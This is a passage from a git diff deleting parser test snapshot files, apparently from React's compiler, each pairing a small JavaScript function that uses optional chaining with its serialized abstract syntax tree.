-                            "range": [
-                              394,
-                              401
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            376,
-                            401
-                          ]
-                        },
-                        {
-                          "type": "JSXText",
-                          "value": "\n    ",
-                          "raw": "\n    ",
-                          "loc": null,
-                          "range": [
-                            401,
-                            406
-                          ]
-                        }
-                      ],
-                      "closingElement": {
-                        "type": "JSXClosingElement",
-                        "name": {
-                          "type": "JSXIdentifier",
-                          "name": "div",
-                          "loc": null,
-                          "range": [
-                            408,
-                            411
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          406,
-                          412
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        364,
-                        412
-                      ]
-                    }
-                  ],
-                  "optional": true,
-                  "loc": null,
-                  "range": [
-                    355,
-                    416
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  351,
-                  416
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              345,
-              417
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                427,
-                428
-              ]
-            },
-            "loc": null,
-            "range": [
-              420,
-              429
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          431
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        431
-      ],
-      "loc": null,
-      "range": [
-        0,
-        431
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    431
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-call-with-optional-property-load.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-call-with-optional-property-load.js.snap
deleted file mode 100644
index 6725c458adb1..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-call-with-optional-property-load.js.snap
+++ /dev/null
@@ -1,208 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/optional-call-with-optional-property-load.js
----
-Input:
-function Component(props) {
-  return props?.items?.map?.(render)?.filter(Boolean) ?? [];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "LogicalExpression",
-              "operator": "??",
-              "left": {
-                "type": "OptionalCallExpression",
-                "callee": {
-                  "type": "OptionalMemberExpression",
-                  "object": {
-                    "type": "OptionalCallExpression",
-                    "callee": {
-                      "type": "OptionalMemberExpression",
-                      "object": {
-                        "type": "OptionalMemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            37,
-                            42
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "items",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            44,
-                            49
-                          ]
-                        },
-                        "computed": false,
-                        "optional": true,
-                        "loc": null,
-                        "range": [
-                          37,
-                          49
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "map",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          51,
-                          54
-                        ]
-                      },
-                      "computed": false,
-                      "optional": true,
-                      "loc": null,
-                      "range": [
-                        37,
-                        54
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "render",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          57,
-                          63
-                        ]
-                      }
-                    ],
-                    "optional": true,
-                    "loc": null,
-                    "range": [
-                      37,
-                      64
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "filter",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      66,
-                      72
-                    ]
-                  },
-                  "computed": false,
-                  "optional": true,
-                  "loc": null,
-                  "range": [
-                    37,
-                    72
-                  ]
-                },
-                "arguments": [
-                  {
-                    "type": "Identifier",
-                    "name": "Boolean",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      73,
-                      80
-                    ]
-                  }
-                ],
-                "optional": false,
-                "loc": null,
-                "range": [
-                  37,
-                  81
-                ]
-              },
-              "right": {
-                "type": "ArrayExpression",
-                "elements": [],
-                "loc": null,
-                "range": [
-                  85,
-                  87
-                ]
-              },
-              "loc": null,
-              "range": [
-                37,
-                87
-              ]
-            },
-            "loc": null,
-            "range": [
-              30,
-              88
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          90
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        90
-      ],
-      "loc": null,
-      "range": [
-        0,
-        90
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    90
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-call.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-call.js.snap
deleted file mode 100644
index 08e169618824..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-call.js.snap
+++ /dev/null
@@ -1,415 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/optional-call.js
----
-Input:
-function Component(props) {
-  const x = makeOptionalFunction(props);
-  const y = makeObject(props);
-  const z = x?.(y.a, props.a, foo(y.b), bar(props.b));
-  return z;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeOptionalFunction",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      60
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        61,
-                        66
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    67
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  67
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              68
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    77,
-                    78
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      81,
-                      91
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        92,
-                        97
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    81,
-                    98
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  77,
-                  98
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              71,
-              99
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    108,
-                    109
-                  ]
-                },
-                "init": {
-                  "type": "OptionalCallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      112,
-                      113
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          116,
-                          117
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          118,
-                          119
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        116,
-                        119
-                      ]
-                    },
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          121,
-                          126
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          127,
-                          128
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        121,
-                        128
-                      ]
-                    },
-                    {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "foo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          130,
-                          133
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              134,
-                              135
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              136,
-                              137
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            134,
-                            137
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        130,
-                        138
-                      ]
-                    },
-                    {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "bar",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          140,
-                          143
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              144,
-                              149
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              150,
-                              151
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            144,
-                            151
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        140,
-                        152
-                      ]
-                    }
-                  ],
-                  "optional": true,
-                  "loc": null,
-                  "range": [
-                    112,
-                    153
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  108,
-                  153
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              102,
-              154
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "z",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                164,
-                165
-              ]
-            },
-            "loc": null,
-            "range": [
-              157,
-              166
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          168
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        168
-      ],
-      "loc": null,
-      "range": [
-        0,
-        168
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    168
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-computed-load-static.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-computed-load-static.js.snap
deleted file mode 100644
index 373e471fcd88..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-computed-load-static.js.snap
+++ /dev/null
@@ -1,187 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/optional-computed-load-static.js
----
-Input:
-function Component(props) {
-  let x = a?.b.c[0];
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "OptionalMemberExpression",
-                  "object": {
-                    "type": "OptionalMemberExpression",
-                    "object": {
-                      "type": "OptionalMemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          38,
-                          39
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          41,
-                          42
-                        ]
-                      },
-                      "computed": false,
-                      "optional": true,
-                      "loc": null,
-                      "range": [
-                        38,
-                        42
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "c",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        43,
-                        44
-                      ]
-                    },
-                    "computed": false,
-                    "optional": false,
-                    "loc": null,
-                    "range": [
-                      38,
-                      44
-                    ]
-                  },
-                  "property": {
-                    "type": "NumericLiteral",
-                    "value": 0.0,
-                    "loc": null,
-                    "range": [
-                      45,
-                      46
-                    ]
-                  },
-                  "computed": true,
-                  "optional": false,
-                  "loc": null,
-                  "range": [
-                    38,
-                    47
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  47
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              48
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                58,
-                59
-              ]
-            },
-            "loc": null,
-            "range": [
-              51,
-              60
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          62
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        62
-      ],
-      "loc": null,
-      "range": [
-        0,
-        62
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    62
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-computed-member-expression.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-computed-member-expression.js.snap
deleted file mode 100644
index b8859a9d4f1a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-computed-member-expression.js.snap
+++ /dev/null
@@ -1,187 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/optional-computed-member-expression.js
----
-Input:
-function Component(props) {
-  const object = makeObject(props);
-  return object?.[props.key];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "object",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    42
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      45,
-                      55
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        56,
-                        61
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    45,
-                    62
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  62
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              63
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "OptionalMemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "object",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  73,
-                  79
-                ]
-              },
-              "property": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    82,
-                    87
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "key",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    88,
-                    91
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  82,
-                  91
-                ]
-              },
-              "computed": true,
-              "optional": true,
-              "loc": null,
-              "range": [
-                73,
-                92
-              ]
-            },
-            "loc": null,
-            "range": [
-              66,
-              93
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          95
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        95
-      ],
-      "loc": null,
-      "range": [
-        0,
-        95
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    95
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-member-expression-call-as-property.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-member-expression-call-as-property.js.snap
deleted file mode 100644
index 554ad5a8343b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-member-expression-call-as-property.js.snap
+++ /dev/null
@@ -1,196 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/optional-member-expression-call-as-property.js
----
-Input:
-function Component(props) {
-  const x = makeObject();
-  return x?.[foo(props.value)];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      50
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    40,
-                    52
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  52
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              53
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "OptionalMemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  63,
-                  64
-                ]
-              },
-              "property": {
-                "type": "CallExpression",
-                "callee": {
-                  "type": "Identifier",
-                  "name": "foo",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    67,
-                    70
-                  ]
-                },
-                "arguments": [
-                  {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        71,
-                        76
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "value",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        77,
-                        82
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      71,
-                      82
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  67,
-                  83
-                ]
-              },
-              "computed": true,
-              "optional": true,
-              "loc": null,
-              "range": [
-                63,
-                84
-              ]
-            },
-            "loc": null,
-            "range": [
-              56,
-              85
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          87
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        87
-      ],
-      "loc": null,
-      "range": [
-        0,
-        87
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    87
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-member-expression-chain.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-member-expression-chain.js.snap
deleted file mode 100644
index 643e3b73636e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-member-expression-chain.js.snap
+++ /dev/null
@@ -1,414 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/optional-member-expression-chain.js
----
-Input:
-// Note that `a?.b.c` is semantically different from `(a?.b).c`
-// We should codegen the correct member expressions
-function Component(props) {
-  let x = props?.b.c;
-  let y = props?.b.c.d?.e.f.g?.h;
-  return { x, y };
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          125,
-          134
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            135,
-            140
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    150,
-                    151
-                  ]
-                },
-                "init": {
-                  "type": "OptionalMemberExpression",
-                  "object": {
-                    "type": "OptionalMemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        154,
-                        159
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        161,
-                        162
-                      ]
-                    },
-                    "computed": false,
-                    "optional": true,
-                    "loc": null,
-                    "range": [
-                      154,
-                      162
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "c",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      163,
-                      164
-                    ]
-                  },
-                  "computed": false,
-                  "optional": false,
-                  "loc": null,
-                  "range": [
-                    154,
-                    164
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  150,
-                  164
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              146,
-              165
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    172,
-                    173
-                  ]
-                },
-                "init": {
-                  "type": "OptionalMemberExpression",
-                  "object": {
-                    "type": "OptionalMemberExpression",
-                    "object": {
-                      "type": "OptionalMemberExpression",
-                      "object": {
-                        "type": "OptionalMemberExpression",
-                        "object": {
-                          "type": "OptionalMemberExpression",
-                          "object": {
-                            "type": "OptionalMemberExpression",
-                            "object": {
-                              "type": "OptionalMemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  176,
-                                  181
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "b",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  183,
-                                  184
-                                ]
-                              },
-                              "computed": false,
-                              "optional": true,
-                              "loc": null,
-                              "range": [
-                                176,
-                                184
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "c",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                185,
-                                186
-                              ]
-                            },
-                            "computed": false,
-                            "optional": false,
-                            "loc": null,
-                            "range": [
-                              176,
-                              186
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "d",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              187,
-                              188
-                            ]
-                          },
-                          "computed": false,
-                          "optional": false,
-                          "loc": null,
-                          "range": [
-                            176,
-                            188
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "e",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            190,
-                            191
-                          ]
-                        },
-                        "computed": false,
-                        "optional": true,
-                        "loc": null,
-                        "range": [
-                          176,
-                          191
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "f",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          192,
-                          193
-                        ]
-                      },
-                      "computed": false,
-                      "optional": false,
-                      "loc": null,
-                      "range": [
-                        176,
-                        193
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "g",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        194,
-                        195
-                      ]
-                    },
-                    "computed": false,
-                    "optional": false,
-                    "loc": null,
-                    "range": [
-                      176,
-                      195
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "h",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      197,
-                      198
-                    ]
-                  },
-                  "computed": false,
-                  "optional": true,
-                  "loc": null,
-                  "range": [
-                    176,
-                    198
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  172,
-                  198
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              168,
-              199
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ObjectExpression",
-              "properties": [
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      211,
-                      212
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      211,
-                      212
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    211,
-                    212
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      214,
-                      215
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      214,
-                      215
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    214,
-                    215
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                209,
-                217
-              ]
-            },
-            "loc": null,
-            "range": [
-              202,
-              218
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          142,
-          220
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        116,
-        220
-      ],
-      "loc": null,
-      "range": [
-        116,
